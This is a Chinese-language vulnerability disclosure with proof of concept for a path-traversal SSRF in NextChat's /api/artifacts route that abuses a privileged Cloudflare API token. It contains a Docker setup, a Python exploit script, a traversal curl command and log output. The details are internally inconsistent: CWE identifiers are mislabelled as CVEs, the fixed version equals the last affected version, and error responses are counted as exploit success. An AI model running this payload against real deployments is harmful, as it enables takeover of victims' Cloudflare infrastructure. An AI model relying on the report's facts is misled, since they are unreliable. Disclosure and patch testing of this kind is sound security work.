# 漏洞总结:Server-Side Request Forgery (SSRF) 和 Cloudflare API Token 泄露 ## 漏洞概述 - **漏洞类型**:Server-Side Request Forgery (SSRF) 和 Cloudflare API Token 泄露 - **漏洞位置**:NextChat Next.js 应用中的 `/api/artifacts` 路由 - **漏洞描述**: - 该路由通过 `id` 查询参数直接拼接 URL,未对用户输入进行验证。 - 攻击者可以通过路径遍历(如 `../../`)绕过限制,访问 Cloudflare KV 存储中的敏感数据。 - 由于使用了高权限的 Cloudflare API Token,攻击者可以窃取敏感信息。 ## 影响范围 - **受影响产品**: - 生态系统:npm - 包名:`nextchat` (Yidadaa/ChatGPT-Next-Web) - 受影响版本:<= v2.16.1 - **严重程度**:Critical - **CVSS 向量字符串**:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H ## 修复方案 - **修复版本**:v2.16.1 及更高版本 ## POC 代码 ### Docker Compose 配置 ```yaml version: '3.9' services: nextchat: image: yidadaa/chatgpt-next-web:latest container_name: nextchat-artifact-ssrf ports: - "3000:3000" environment: - BASE_URL=http://localhost:3000 - CLOUDFLARE_KV_API_KEY=SECRET_TEST_TOKEN - CLOUDFLARE_KV_NAMESPACE_ID=TEST_NAMESPACE - CLOUDFLARE_ACCOUNT_ID=TEST_ACCOUNT ``` ### Python 利用脚本 ```python import requests def test_artifact_ssrf(): # Payload path traversal to escape /client/v4/accounts/{accountId}/storage/kv/namespaces/{namespaceId}/values target = "http://localhost:3000/api/artifacts" params = { "id": "../../../../../user/tokens/verify" } try: response = requests.get(target, params=params, timeout=10) print("[*] Artifacts SSRF Response Status:", response.status_code) print("[*] Response body:") print(response.text) if response.status_code in [200, 400, 401, 403]: print("[\u2713]SUCCESS Exploit hit Cloudflare traversal target!") else: print("[\u2717]FAILED Vulnerability might be patched or endpoint not reachable.") except Exception as e: print("[\u2717]FAILED Error during fetching:", str(e)) if __name__ == "__main__": test_artifact_ssrf() ``` ### Curl 命令 ```bash curl -i -s -k "http://localhost:3000/api/artifacts?id=../../../../../user/tokens/verify" ``` ## 日志证据 ``` [*] Artifacts SSRF Response Status: 400 [*] Response body: {"success":false,"errors":[{"code":6003,"message":"Invalid request headers","error_chain":[{"code":4011,"message":"Invalid request headers"}]}]} [SUCCESS] Exploit hit Cloudflare traversal target! ``` ## 影响 - **关键 SSRF & 身份接管**:攻击者可以直接调用特权 Cloudflare API 端点,使用配置的 `CLOUDFLARE_KV_API_KEY`。根据令牌的范围,这可能导致受害者 Cloudflare 基础设施的全面接管、DNS 设置的操纵、其他命名空间的读取或绕过代理保护。 ## 弱点 - **CVE-918**:Server-Side Request Forgery (SSRF) - **CVE-22**:Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) ## 发生情况 - **永久链接**:[https://github.com/Yidadaa/ChatGPT-Next-Web/blob/main/app/api/artifacts/route.ts](https://github.com/Yidadaa/ChatGPT-Next-Web/blob/main/app/api/artifacts/route.ts) - **描述**:端点直接插值 `id` 查询参数到 `fetch()` URL,而不中和路径遍历序列,如 `../`,同时附加高权限 `Authorization: Bearer token`。